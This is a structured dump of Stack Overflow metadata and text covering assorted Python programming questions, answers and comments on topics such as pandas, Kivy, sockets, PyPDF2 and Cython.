has comment: http://stackoverflow.com/comment/85149764
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49878147
has answer: http://stackoverflow.com/a/65685190
has answer: http://stackoverflow.com/a/49381226
linked to: http://stackoverflow.com/q/49964028
has comment: http://stackoverflow.com/comment/81983909
tagged with: python
has answer: http://stackoverflow.com/a/60124216
has answer: http://stackoverflow.com/a/61812806
has answer: http://stackoverflow.com/a/50509035
has comment: http://stackoverflow.com/comment/81990901
accepted answer: http://stackoverflow.com/a/47297686
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/72579667
has answer: http://stackoverflow.com/a/66292472
answer count: 14

http://stackoverflow.com/a/47359874
has body: Try this with open('lotto.txt') as f: line = f.readline() a = line.split() a will now be the list as you requested.
accepted answer of: http://stackoverflow.com/q/47359777
has comment: http://stackoverflow.com/comment/81673074
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/47359777
has comment: http://stackoverflow.com/comment/81673090
score: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81673409
downvote count: 0
has comment: http://stackoverflow.com/comment/81673001

http://stackoverflow.com/comment/81590817
type: QuestionComment
comment on: http://stackoverflow.com/q/47297742
score: 0
has text: Now it is much better, I already have a possible solution but because it calls Update if ReturnInformation () always returns a unique value. Or maybe ReturnInformation () depends on some other task? Please model that part better.
type: Comment

http://stackoverflow.com/comment/81425463
type: AnswerComment
comment on: http://stackoverflow.com/a/47237671
score: 0
type: Comment
has text: Thank you! but Im still having a white space between movies and . :((

http://stackoverflow.com/comment/81537809
comment on: http://stackoverflow.com/q/47237098
has text: what is the output of `python -V`?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47324829
has comment: http://stackoverflow.com/comment/92658575
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/92619859
answers question: http://stackoverflow.com/q/47324358
has body: self.socket.shutdown(socket.SOCK_DGRAM) shutdown is not relevant for UDP sockets but for TCP. And, shutdown takes only arguments on how to shutdown (SHUT_RD, SHUT_WR, SHUT_RDWR) and not a protocol as you do. Apart from that, your code binds the UDP socket to a local address but does not connect it to another address, i.e. it can send anywhere using socket.sendto. Thus you get the message that the socket is not connected when trying to shut a non-existing connection down.
upvote count: 2
has comment: http://stackoverflow.com/comment/92619534
type: Answer

http://stackoverflow.com/q/47310015
answer count: 2
has body: I'm using the colour package to create a gradient of colors, like this: from colour import Color orange = Color("#e65318") turquoise = Color("#3297A5") palette_list = list(orange.range_to(turquoise,10)) the output is a list, like this: [&lt;Color #e65318&gt;, &lt;Color #de911b&gt;, &lt;Color #d7c71f&gt;, &lt;Color #a7cf22&gt;, &lt;Color #6fc825&gt;, &lt;Color #3dc128&gt;, &lt;Color #2bb944&gt;, &lt;Color #2db36f&gt;, &lt;Color #30ac94&gt;, &lt;Color #3297a5&gt;] and what I would really like, is this: ['#e65318', '#de911b', '#d7c71f', '#a7cf22', '#6fc825', '#3dc128', '#2bb944', '#2db36f', '#30ac94', '#3297a5'] So far, I've tried ai_palette_list.remove('Color') which returns ValueError: list.remove(x): x not in list. I am thinking this is a pretty general problem, but can't seem to find any sane, systematic way of going about removing the word 'Color' and returning a string.
upvote count: 2
downvote count: 0
tagged with: string
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81570424
has title: Python: Manipulating list of Color objects?
possible better answer: http://stackoverflow.com/a/47310113
has answer: http://stackoverflow.com/a/47310113
tagged with: python
accepted answer: http://stackoverflow.com/a/47310080
type: AnsweredQuestion
score: 2
has answer: http://stackoverflow.com/a/47310080

http://stackoverflow.com/comment/81414456
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47231280
type: Comment
has text: Sorry ... this is truly first time post at stackflow. Getting used to the mechanism here. I now did accept your solution

http://stackoverflow.com/q/47355906
tagged with: python
has comment: http://stackoverflow.com/comment/129448640
answer count: 0
has comment: http://stackoverflow.com/comment/81671099
has comment: http://stackoverflow.com/comment/81768862
has title: Convert html to LaTeX using Python
has comment: http://stackoverflow.com/comment/81664379
downvote count: 0
has comment: http://stackoverflow.com/comment/81670297
score: 1
upvote count: 1
has body: What is an effective way to convert a number of html files to LaTeX? Because I need to use special constructs and environments, conditional on css classes, and I want to fine-tune the final .tex file, I don't want to use a standard converter (such as pandoc or any other ready-made converter). Instead, I'd like to build my own Python3 script, but being relatively new to this language I wonder where I should start from. I've given a look to lxml and Beautiful Soup, and I wonder if they can be a good starting point.
favorite count: 0
tagged with: beautifulsoup
type: Question
tagged with: latex
has comment: http://stackoverflow.com/comment/81664779
tagged with: lxml
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/81665292

http://stackoverflow.com/q/47363267
type: UnansweredQuestion
has body: I am trying to create a pyd file and a c file. I have been told that the current script does not run quick enough so I hope to run it through cython and distribute it throughout the office as windows exe I simply created the python file and renamed this as a pyx through pycharm called dd1.pyx I then made a set up.py referencing dd1 try: from setuptools import setup from setuptools import Extension except ImportError: from distutils.core import setup from distutils.extension import Extension from Cython.Distutils import build_ext import numpy as np ext_modules = [Extension("my_code_cython",["dd1.pyx"]), Extension("another_code_cython",["dd1.pyx"])] setup( name= 'Generic model class', cmdclass = {'build_ext': build_ext}, include_dirs = [np.get_include()], ext_modules = ext_modules) I have put in: python dd1.pyx build_ext --inplace This created a pyd file and I believe a C file as well. The pyd file is corrupted or at least I believe it to be as when I try and distribute it through pyinstaller: Pyinstaller -F --onefile dd1.pyd C:\Users\da&gt;python dd1.pyd build_ext --inplace running build_ext cythoning vvblue2.py to vvblue2.c building 'my_code_cython' extension C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\BIN\x86_amd64\cl.exe /c /nologo /Ox /W3 /GL /DNDEBUG /MD -IC:\Users\da\Anaconda3\lib\site-packages\numpy\core\include -IC:\Users\da\Anaconda3\include -IC:\Users\da\Anaconda3\include "-IC:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\INCLUDE" "-IC:\Program Files (x86)\Windows Kits\10\include\10.0.10240.0\ucrt" "-IC:\Program Files (x86)\Windows Kits\NETFXSDK\4.6.1\include\um" "-IC:\Program Files (x86)\Windows Kits\8.1\include\shared" "-IC:\Program Files (x86)\Windows Kits\8.1\include\um" "-IC:\Program Files (x86)\Windows Kits\8.1\include\winrt" /Tcvvblue2.c /Fobuild\temp.win-amd64-3.6\Release\vvblue2.obj vvblue2.c C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\BIN\x86_amd64\link.exe /nologo /INCREMENTAL:NO /LTCG /DLL /MANIFEST:EMBED,ID=2 /MANIF…
tagged with: python
favorite count: 0
tagged with: python-2.7
answer count: 0
has comment: http://stackoverflow.com/comment/81683219
downvote count: 0
tagged with: cython
score: 1
upvote count: 1
has title: Creating Pyd files, Pyx with Cython
type: Question
tagged with: pyinstaller

http://stackoverflow.com/q/47355478
tagged with: arrays
accepted answer: http://stackoverflow.com/a/47355786
tagged with: python
has answer: http://stackoverflow.com/a/47355786
has answer: http://stackoverflow.com/a/47355855
type: AnsweredQuestion
answer count: 3
has comment: http://stackoverflow.com/comment/81663659
has body: I have a function foo that returns an array with the shape (1000, 3, 1000) how can I split it to three arrays a(1000, 1000) and b(1000, 1000) and c(1000, 1000) I'm looking for something like this: a,b,c = foo()[:,*,:] that will result in a,b,c equal to: res = foo() a = res[:,0,:] b = res[:,1,:] c = res[:,2,:]
has answer: http://stackoverflow.com/a/47355954
favorite count: 0
has title: What is the most pythonic way to split a 3d array to 2d arrays with different second indexes?
type: Question
tagged with: multidimensional-array
upvote count: 0
score: -2
linked to: http://stackoverflow.com/q/47353363
downvote count: 2
possible better answer: http://stackoverflow.com/a/47355954

http://stackoverflow.com/q/47235104
has answer: http://stackoverflow.com/a/47235298
answer count: 7
has comment: http://stackoverflow.com/comment/81420651
has body: I am trying to make a function "add" that will be able to sum elements of list continuously and return a new list of sums. In python there can be cases where input is not a list, or there are other objects in it instead of integers like string characters or float numbers, in these cases I have to return 'Invalid input' Eg : add([1,2,3,4,5]) == [1, 3, 6, 10, 15] , because it's calculated like this : [1, 1 + 2, 1 + 2 + 3, 1 + 2 + 3 + 4, 1 + 2 + 3 + 4 + 5] add([1,'a',2,'b',3,'c']) == 'Invalid input' add('All string') == 'Invalid input' add((1,2,3,4)) == 'Invalid input' How do I do it?
downvote count: 1
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47235190
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81420810
has answer: http://stackoverflow.com/a/47237780
has title: Python script for summing values in list continuously
has answer: http://stackoverflow.com/a/47235202
tagged with: python
tagged with: list
has answer: http://stackoverflow.com/a/47235139
upvote count: 2
has answer: http://stackoverflow.com/a/47235212
has answer: http://stackoverflow.com/a/47235247
score: 1

http://stackoverflow.com/q/47309455
tagged with: dataframe
has comment: http://stackoverflow.com/comment/81579572
type: Question
score: 0
answer count: 0
type: UnansweredQuestion
has body: I have a df as below. Consider df is indexed by timestamps as dtype='datetime64[ns]' i.e. 1970-01-01 00:00:27.603046999. I am putting dummy timestamps here. Timestamp Address Type Arrival_Time Time_Delta 0.1 2 A 0.25 0.15 0.4 3 B 0.43 0.03 0.9 1 B 1.20 0.20 1.3 1 A 1.39 0.09 1.5 3 A 1.64 0.14 1.7 3 B 1.87 0.17 2.0 3 A 2.09 0.09 2.1 1 B 2.44 0.34 I have three unique "addresses" (1, 2,3). I have two unique "types" (A, B) Now what I am trying to do two things in simple way (possibly using pd.Grouper and pd.Groupby functions in Panda). I want to group rows by fixed bin of 1 duration (using timestamp values). Then in each 1sec bin, for each "address" find the mean and sum of "Time_delta" only if "Type" = A. I want to group rows by fixed bin of 1 duration (using timestamp values). Then in each bin, for each "address", find the mean and sum of Inter-Arrival Time*. IAT = Arrival Time (i) - Arrival Time (i-1) Note: If the timestamps duration/length is of 100 seconds, we should have exactly 100 rows in the output dataframe and six columns i.e. two (mean, sum) for each address. For Problem 1: I tried the following code: df = pd.DataFrame({'Timestamp': Timestamp, 'Address': Address, 'Type': Type, 'Arrival_Time': Arrival_time, 'Time_Delta': Time_delta}) # Set index to Datetime index = pd.DatetimeIndex(df[df.columns[3]]*10**9) # Convert timestamp into format df = df.set_index(index) # Set timestamp as index df_1 = df[df.columns[2]].groupby([pd.TimeGrouper('1S'), df['Address']]).mean().unstack(fill_value=0) which gives results: Timestamp 1 2 3 1970-01-01 00:00:00 0.20 0.15 0.030 1970-01-01 00:00:01 0.09 0.00 0.155 1970-01-01 00:00:02 0.34 0.00 0.090 As you can see, it gives the mean Time_delta for each address in the 1S bin, But I want to add the second condition i.e. find mean for each address only if Type=A. I hope problem 1 is now clear. For Problem 2: Its a bit complicated. I want to do get Mean IAT for each address in the same format (See below): One possible way is to add an…
tagged with: python
has title: Group rows in fixed duration windows that satisfy multiple conditions
has comment: http://stackoverflow.com/comment/81583878
tagged with: pandas
has comment: http://stackoverflow.com/comment/81575494
has comment: http://stackoverflow.com/comment/81575291

http://stackoverflow.com/a/47339423
downvote count: 0
answers question: http://stackoverflow.com/q/47333293
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81721306
has body: Do you want to clear out all variables from previous run when you re-run the script? If yes, you can change the preference settings in Spyder. Go to Tools > Preferences > Run > Check the box that says "Clear all variables before execution."
score: 3
type: Answer
accepted answer of: http://stackoverflow.com/q/47333293
upvote count: 3

http://stackoverflow.com/comment/81622150
type: QuestionComment
has text: @rpat - I'm guessing you are using the default/threaded dask scheduler. In some cases using the multiprocessing or distributed schedulers can help speed up chunked reads. You may also try increasing your chunksize.
comment on: http://stackoverflow.com/q/47238155
score: 0
type: Comment

http://stackoverflow.com/a/47285963
answers question: http://stackoverflow.com/q/47253323
score: 0
has body: images can be slightly tricky - but I think I can help with 2 answers! creates the image how to load a bunch of images from a folder somewhere. 1: getting the buttons to have an image can be kind of tricky (you kind of need a 2 layered approach), but changing the image is easy. x_image = 'x.png' o_image = 'o.png' then... x_image_for_button = PhotoImage(file=x_image) o_image_for_button = PhotoImage(file=o_image) then..... button = tk.Button(self.controller, image=o_image_for_button, command=lambda: command_or_something) button.config(width="40", height="40") button.place(x=5, y=5) (add in self. or root. etc) now all you do to change the image is: button.set(image=o_image_for_button) #on second thought... maybe use `button.config(image=o_image_for_button)` insted 2: image_folder = 'theme_icons' if self.controller.background_theme == '1': image_pathway = 'classic' elif self.controller.background_theme == '2': image_pathway = 'blue1' elif self.controller.background_theme == '3': image_pathway = 'blue2' elif self.controller.background_theme == '4': image_pathway = 'classic_blue' self.house_image_d = os.path.join(image_folder, image_pathway, 'Image1.png') self.line_d = os.path.join(image_folder, image_pathway, 'Image2.png') self.house_image = tk.PhotoImage(file=self.house_image_d) self.my_line = tk.PhotoImage(file=self.line_d)
type: Answer

http://stackoverflow.com/q/47313869
has title: Overhead when iterating over 1k+ rows in postgres using peewee
type: AnsweredQuestion
tagged with: postgresql
score: 0
has answer: http://stackoverflow.com/a/47397715
accepted answer: http://stackoverflow.com/a/47397715
answer count: 1
tagged with: python
has body: I'm seen an inexplicably large overhead when iterating over a postgres table. I profiled the code, and also did a smoke test with SQLAlchemy to make sure it wasn't a slow connection or the underlying driver (psycopg2). Running this against a postgres table of ~1M records but fetching only a tiny fraction of that. import time import peewee import sqlalchemy from playhouse import postgres_ext from sqlalchemy.dialects.postgresql import JSONB from sqlalchemy.engine.url import URL as AlchemyURL from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.orm import sessionmaker as alchemy_sessionmaker user = 'XXX' password = 'XXX' database = 'XXX' host = 'XXX' port = 5432 table = 'person' limit = 1000 peewee_db = postgres_ext.PostgresqlExtDatabase( database=database, host=host, port=port, user=user, password=password, use_speedups=True, server_side_cursors=True, register_hstore=False, ) alchemy_engine = sqlalchemy.create_engine(AlchemyURL('postgresql', username=user, password=password, database=database, host=host, port=port)) alchemy_session = alchemy_sessionmaker(bind=alchemy_engine)() class PeeweePerson(peewee.Model): class Meta: database = peewee_db db_table = table id = peewee.CharField(primary_key=True, max_length=64) data = postgres_ext.BinaryJSONField(index=True, index_type='GIN') class SQLAlchemyPerson(declarative_base()): __tablename__ = table id = sqlalchemy.Column(sqlalchemy.Integer, primary_key=True) data = sqlalchemy.Column(JSONB) def run_raw_query(): ids = list(peewee_db.execute_sql(f"SELECT id from {table} order by id desc limit {limit}")) return ids def run_peewee_query(): query = PeeweePerson.select(PeeweePerson.id).order_by(PeeweePerson.id.desc()).limit(limit) ids = list(query.tuples()) return ids def run_sqlalchemy_query(): query = alchemy_session.query(SQLAlchemyPerson.id).order_by(sqlalchemy.desc(SQLAlchemyPerson.id)).limit(limit) ids = list(query) return ids if __name__ == '__main__': t0 = time.time() raw_result = run_raw_query() t1 = ti…
type: Question
tagged with: python-3.x
tagged with: peewee
tagged with: psycopg2

http://stackoverflow.com/comment/81591457
comment on: http://stackoverflow.com/a/47315225
type: Comment
score: 0
type: AnswerComment
has text: Yes you're correct sorry. I tried using just the four columns (Station, Date Latitude, Longitude) on a folder of 20 csv files and it did create the csv_merged file. Then, I tried choosing all the columns I need, then running the script. This creates a memory error: return np.concatenate(to_concat, axis=axis) MemoryError I added 'print fname' to determine where the error was occurring. It happens every time after the last file name. I'm guessing there is not enough memory to create the file?

http://stackoverflow.com/q/47224575
has comment: http://stackoverflow.com/comment/81399752
has comment: http://stackoverflow.com/comment/81399859
has title: Python - For loop finishing before it is supposed to
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81399291
tagged with: python
has comment: http://stackoverflow.com/comment/81399161
score: 0
answer count: 0
has comment: http://stackoverflow.com/comment/81399502
tagged with: multithreading
has comment: http://stackoverflow.com/comment/81399560
type: Question
has body: I am currently executing tasks via a thread pool based on a for loop length, and it is ending its execution when it is not supposed to (before end of loop). Any ideas why? Here is the relavent code: from classes.scraper import size from multiprocessing import Pool import threading if __name__ == '__main__': print("Do something") size = size() pool = Pool(processes=50) with open('size.txt','r') as file: asf = file.read() for x in range(0,1000000): if '{num:06d}'.format(num=x) in asf: continue else: res = pool.apply_async(size.scrape, ('{num:06d}'.format(num=x),)) Here is the console output (I am printing out the values inside size.scrape(). ... ... ... 013439 013440 013441 013442 013443 Process finished with exit code 0
has comment: http://stackoverflow.com/comment/81400012

http://stackoverflow.com/a/47279575
accepted answer of: http://stackoverflow.com/q/47279449
has body: I've got some good news and some bad news. The bad news is that you can't do what you're trying to do the way you're trying to do it, for exactly the problem you're now facing. Python doesn't have a way of just pausing the execution of one function, it's all or nothing. You can solve this by implementing through multiprocessing or threading, but you're really just opening a can of worms to get into that before you're ready. The good news is that you don't need to do all that. You're trying to find the difference between a start time and an end time, right? Let's boil it down to basics and do that. import datetime start = datetime.datetime.now() input("Press enter to stop.") stop = datetime.datetime.now() result = (stop - start).total_seconds() You can implement pausing by waiting for other actions (in a while True loop as you've done above), getting the difference in seconds between start and stop and adding it to a running total.
answers question: http://stackoverflow.com/q/47279449
type: Answer
has comment: http://stackoverflow.com/comment/81509794
has comment: http://stackoverflow.com/comment/81509640
downvote count: 0
upvote count: 1
score: 1
type: AcceptedAnswer

http://stackoverflow.com/a/47260307
type: Answer
score: -1
upvote count: 0
answers question: http://stackoverflow.com/q/47259540
has body: Other people have remarked on using pprint, but I would like to add that pprint prints the representation of the Python values in your dictionary. They are not always the same as their JSON counterparts, for example: &gt;&gt;&gt; from pprint import pprint &gt;&gt;&gt; d1 = {"value": None} &gt;&gt;&gt; pprint(d1) {'value': None} (the correct JSON serialization here is {"value": null} The better option, for these kinds of values, is to use json.dump or json.dumps. You can use the indent parameter to sort of make it print one line per element. Note though that this will also print each list element into their separate lines (so you don't exactly get one line per one JSON key): &gt;&gt;&gt; d2 = [ ... {"name": "Chan Kun Kee", ... "cuisine": ["Guang Dong", "Dai Pai Dong"], ... "price-range": "$51-100", ... "address": [22.3884, 114.1958], ... "rating": 3.5, ... "reviews": [216, 95, 38], ... "district": "Shatin", ... "url": "www.openrice.com/en/hongkong/r-chan-kun-kee-sha-tin-guangdong-r7918" ... } ... ] &gt;&gt;&gt; print(json.dumps(d2, indent=2)) [ { "name": "Chan Kun Kee", "cuisine": [ "Guang Dong", "Dai Pai Dong" ], "price-range": "$51-100", "address": [ 22.3884, 114.1958 ], "rating": 3.5, "reviews": [ 216, 95, 38 ], "district": "Shatin", "url": "www.openrice.com/en/hongkong/r-chan-kun-kee-sha-tin-guangdong-r7918" } ] But you're guaranteed to at least always get the correct JSON. Plus, you can also extend the behavior with your own JSON encoder. This allows you, for example, to serialize Python datetime objects into JSON strings.
type: AcceptedAnswer
downvote count: 1
accepted answer of: http://stackoverflow.com/q/47259540
has comment: http://stackoverflow.com/comment/81473192

http://stackoverflow.com/a/47354828
type: Answer
has comment: http://stackoverflow.com/comment/81790854
answers question: http://stackoverflow.com/q/47341899
score: 2
has comment: http://stackoverflow.com/comment/81781880
upvote count: 2
downvote count: 0
has body: Avoid time.sleep in Kivy applications The problem that you are encountering was due to time.sleep. You should replace time.sleep with Kivy Clock.schedule_once as in the following exmple. def check_distance(dt): """The if statements in this block of code will be run if r.dist <= 2700""" c = Controller() r.loop() print(r.dist) if r.dist <= 2700: c.show_dist() Clock.schedule_once(check_distance_assign_label, 0.5) def check_distance_assign_label(dt): r.loop() if r.dist <= 2700: c.lbl2.text = "Below 2700" end_goal() def end_goal(): """Stops the check_distance function from being called every 2 seconds then runs the next bit of code""" Clock.unschedule(check_distance) Clock.schedule_once(beepPinWrite(0), 1.0) Clock.schedule_once(beepPinWrite(1), 2.0) Clock.schedule_once(beepPinWrite(0), 3.0) def beepPinWrite(index, dt): beepPin.write(index)

http://stackoverflow.com/q/47281843
has comment: http://stackoverflow.com/comment/81514184
tagged with: pypdf
upvote count: 2
answer count: 1
has comment: http://stackoverflow.com/comment/81521462
has comment: http://stackoverflow.com/comment/81518519
tagged with: python
has comment: http://stackoverflow.com/comment/81521390
downvote count: 1
accepted answer: http://stackoverflow.com/a/47306086
favorite count: 0
has comment: http://stackoverflow.com/comment/81520426
has comment: http://stackoverflow.com/comment/133968357
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47306086
has comment: http://stackoverflow.com/comment/81514372
has comment: http://stackoverflow.com/comment/81520894
score: 1
has comment: http://stackoverflow.com/comment/81521198
has title: PyPDF2 PdfReadError: Could not read Boolean object
has body: I am getting the following error, when reading certain PDF files using PyPDF2. Due to the confidential nature of these documents, I can't share them, but I can try and provide information which can help solve this problem. Stacktrace - inputpdf = PdfFileReader(open(pdfpath, "rb"), strict=False) File "/home/tata/.virtualenvs/obu/local/lib/python2.7/site-packages/PyPDF2/pdf.py", line 1084, in __init__ self.read(stream) File "/home/tata/.virtualenvs/obu/local/lib/python2.7/site-packages/PyPDF2/pdf.py", line 1732, in read num = readObject(stream, self) File "/home/tata/.virtualenvs/obu/local/lib/python2.7/site-packages/PyPDF2/generic.py", line 74, in readObject return BooleanObject.readFromStream(stream) File "/home/tata/.virtualenvs/obu/local/lib/python2.7/site-packages/PyPDF2/generic.py", line 137, in readFromStream raise utils.PdfReadError('Could not read Boolean object') PdfReadError: Could not read Boolean object The exception seems to be raised from the following function, in generic.py: def readFromStream(stream): word = stream.read(4) if word == b_("true"): return BooleanObject(True) elif word == b_("fals"): stream.read(1) return BooleanObject(False) else: raise utils.PdfReadError('Could not read Boolean object') Printing the variable word prints the string trai, but I am not sure what this string represents. Since the PyPDF2 project seems unmaintained, can someone help me figure out a solution for this? Note : Please note that these PDFs are not password protected.
type: Question

http://stackoverflow.com/comment/81710466
type: Comment
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/47378900
has text: @hoefling added expected graph

http://stackoverflow.com/comment/81717868
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47297164
score: 0
has text: @cᴏʟᴅsᴘᴇᴇᴅ For each element of the input arrays I want to select the element which causes myagg to return true when given as the first parameter against all other elements given - in turn - as the second parameter. In my example definition of myagg this would return the maximum element.

http://stackoverflow.com/comment/81557009
type: AnswerComment
comment on: http://stackoverflow.com/a/47300517
type: Comment
has text: is my for loop completely wrong (ignore the syntax) I'm asking concept wise.
score: 0

http://stackoverflow.com/comment/81473971
comment on: http://stackoverflow.com/q/47261364
score: 3
type: Comment
has text: That is a [list comprehension](http://python-3-patterns-idioms-test.readthedocs.io/en/latest/Comprehensions.html#list-comprehensions), and it appears to me that your indentation is wrong.
type: QuestionComment

http://stackoverflow.com/comment/81434268
type: QuestionComment
comment on: http://stackoverflow.com/q/47241845
score: 0
type: Comment
has text: you text file is big? or not?

http://stackoverflow.com/comment/81435917
comment on: http://stackoverflow.com/q/47242637
score: 0
type: Comment
has text: Inline plots are just PNG files. We cannot see coordinates when hovering over them. You must use something other than inline.
type: QuestionComment

http://stackoverflow.com/comment/81551440
type: Comment
type: QuestionComment
has text: You can simply use concat, pd.concat([df1, df2['c']], axis = 1)
comment on: http://stackoverflow.com/q/47300215
score: 0

http://stackoverflow.com/a/47329212
has body: Simply provide the data you need in your def to it - I choose to do it as list, you could also pass it serarately like this def report2(myOne, myTwo): ... and call it as report2(one,two) - no need to use globals for that. def leageOne(): # do stuff stuff = "MyLeageOneResult" return stuff def leageTwo(): # do otherstuff otherstuff = "MyOtherResult" return otherstuff def report(myInputList): return '&lt;br/&gt;'.join(myInputList) one = leageOne() two = leageTwo() email = report([one , two]) print email Output: MyLeageOneResult&lt;br/&gt;MyOtherResult
answers question: http://stackoverflow.com/q/47329137
type: Answer
score: 0

http://stackoverflow.com/a/47363412
has body: A little clumsy, but if you can use Pandas, combine isin() with a list comprehension: import numpy as np import pandas as pd Y = pd.Series([0,0,2,3,2,4]) X = pd.Series([1,2,1,3,4,2]) S = pd.Series([0,2,0,3,2]) [np.random.choice(X[Y.isin([s])].values) for s in S] You can get X[Y==S] with: [X[Y.isin([s])].values for s in S]
downvote count: 0
score: 1
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/47363341

http://stackoverflow.com/comment/81562156
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47305259
score: 0
has text: @Maximilian Check out the last part (3 lines code).

http://stackoverflow.com/comment/85225252
comment on: http://stackoverflow.com/q/47263339
score: 1
type: Comment
has text: Why would you initialize that in a Django process instead of having a dedicated process to do that?
type: QuestionComment

http://stackoverflow.com/q/47363089
tagged with: python
score: 0
has answer: http://stackoverflow.com/a/47363141
type: Question
answer count: 2
has body: I currently have the code below.. and it takes the screenshot just fine.. but it cuts off the left and right side of the screenshot How do i add another 10 pixels all around possible? print "Taking SS..." focusWindow = App.focusedWindow() regionINFO = capture(App.focusedWindow()) shutil.move(regionINFO, os.path.join(r'C:\Screenshots', 'Dummy1.png')) print "SS Done..."
tagged with: sikuli
has answer: http://stackoverflow.com/a/47367642
type: UnansweredQuestion
has title: How do i add extra dimensions to a screenshot?

http://stackoverflow.com/comment/81497992
score: 0
comment on: http://stackoverflow.com/q/47272923
has text: And why do you need the ` product_variant_ids = isbn.search(domain)` line? What is it supposed to do? You don't seem to be using the variable `product_variant_ids` anywhere.
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47233471
has comment: http://stackoverflow.com/comment/81417670
has comment: http://stackoverflow.com/comment/81417862
type: Answer
answers question: http://stackoverflow.com/q/47233344
score: 3
has comment: http://stackoverflow.com/comment/81417815
has comment: http://stackoverflow.com/comment/81417856
has comment: http://stackoverflow.com/comment/81417779
upvote count: 3
has body: Use pd.to_datetime Setup df = pd.DataFrame(dict( year=[2001, 2003, 2014, 1996], month=[5, 12, 2, 7], other=list('WXYZ') )) df month other year 0 5 W 2001 1 12 X 2003 2 2 Y 2014 3 7 Z 1996 Solution df = df.assign(Date=pd.to_datetime(df'year', 'month'.assign(day=1))) df month other year Date 0 5 W 2001 2001-05-01 1 12 X 2003 2003-12-01 2 2 Y 2014 2014-02-01 3 7 Z 1996 1996-07-01
downvote count: 0
has comment: http://stackoverflow.com/comment/81418010
has comment: http://stackoverflow.com/comment/81418064
has comment: http://stackoverflow.com/comment/81418038

negative-number
type: Tag
tag name: negative-number
tags question: http://stackoverflow.com/q/47377686

http://stackoverflow.com/comment/125664698
type: Comment
type: AnswerComment
has text: Hi and thanks for the answer. Could you explain what your code does and how does it build on the previous 12 answers to the question?
comment on: http://stackoverflow.com/a/71009567
score: 0

http://stackoverflow.com/comment/81505290
has text: I think the spec doesn't allow Infinity at all, that's why i'm trying to convert it to a string. The first test does hit the NestedEncoder the second doesn't. Even if dic is supported it should get called on its values no?
comment on: http://stackoverflow.com/a/47276890
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/q/47308367
has comment: http://stackoverflow.com/comment/81569514
has answer: http://stackoverflow.com/a/47308500
has comment: http://stackoverflow.com/comment/81567108
type: AnsweredQuestion
tagged with: subprocess
answer count: 3
has comment: http://stackoverflow.com/comment/81569231
score: 1
has answer: http://stackoverflow.com/a/47309627
accepted answer: http://stackoverflow.com/a/47309627
has comment: http://stackoverflow.com/comment/81569378
downvote count: 0
has comment: http://stackoverflow.com/comment/81567131
has body: I had script on bash where I generated username, password, ssh-key for user. Part for creating of ssh-key: su $user -c "ssh-keygen -f /home/$user/.ssh/id_rsa -t rsa -b 4096 -N ''" How can I do the same in Python with os.system? I tried this: os.system('su %s -c "ssh-keygen -f /home/%s/.ssh/id_rsa -t rsa -b 4096 -N ''"', user) TypeError: system() takes at most 1 argument (2 given) Also I tried: os.system('su user -c "ssh-keygen -f /home/user/.ssh/id_rsa -t rsa -b 4096 -N ''"') Of course, it doesn't work either.
possible better answer: http://stackoverflow.com/a/47308500
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81569277
has title: Execute a shell command with python variables
has answer: http://stackoverflow.com/a/47308796
upvote count: 1
tagged with: python

http://stackoverflow.com/comment/81706335
type: Comment
comment on: http://stackoverflow.com/a/47374781
score: 0
type: AnswerComment
has text: Thank You very very much! :)

http://stackoverflow.com/a/47331494
upvote count: 2
answers question: http://stackoverflow.com/q/47330244
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47330244
has comment: http://stackoverflow.com/comment/81614001
has comment: http://stackoverflow.com/comment/81614232
has comment: http://stackoverflow.com/comment/81618243
has body: Here is a quick-and-dirty solution import random k = 4 result = [[random.uniform(0, 0.1 / k) for i in range(k)] for j in range(k)] for j, r in enumerate(result): r[j] += 1 - sum(r) You may want to consider using a different random distribution and also have a look at numpy.
type: Answer
has comment: http://stackoverflow.com/comment/81615948
score: 2
has comment: http://stackoverflow.com/comment/81617253

http://stackoverflow.com/comment/81482774
type: Comment
type: QuestionComment
has text: Looks like a bug in PyCharm. Maybe someone did not consider this rare way to call `map`.
score: 1
comment on: http://stackoverflow.com/q/47266003

http://stackoverflow.com/comment/81556912
type: AnswerComment
has text: Yeah, I do agree. But, generally speaking, people do not modify the shortcuts that are created by the installation of Word into a folder that is predesignated for start menu shortcuts. Honestly, its kind of like saying 'a user could have changed that registry key'. Could they? Yes. Would they? Probably not. I tried to get yours working and I didn't have much luck with `win32com`. So, I'll leave my solution up.
type: Comment
score: 0
comment on: http://stackoverflow.com/a/47279782

http://stackoverflow.com/comment/81656246
comment on: http://stackoverflow.com/q/47351987
type: Comment
type: QuestionComment
score: 0
has text: @timgeb - The key names shown are just an example, they're not enumerated at all :)

http://stackoverflow.com/comment/81694028
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47367521
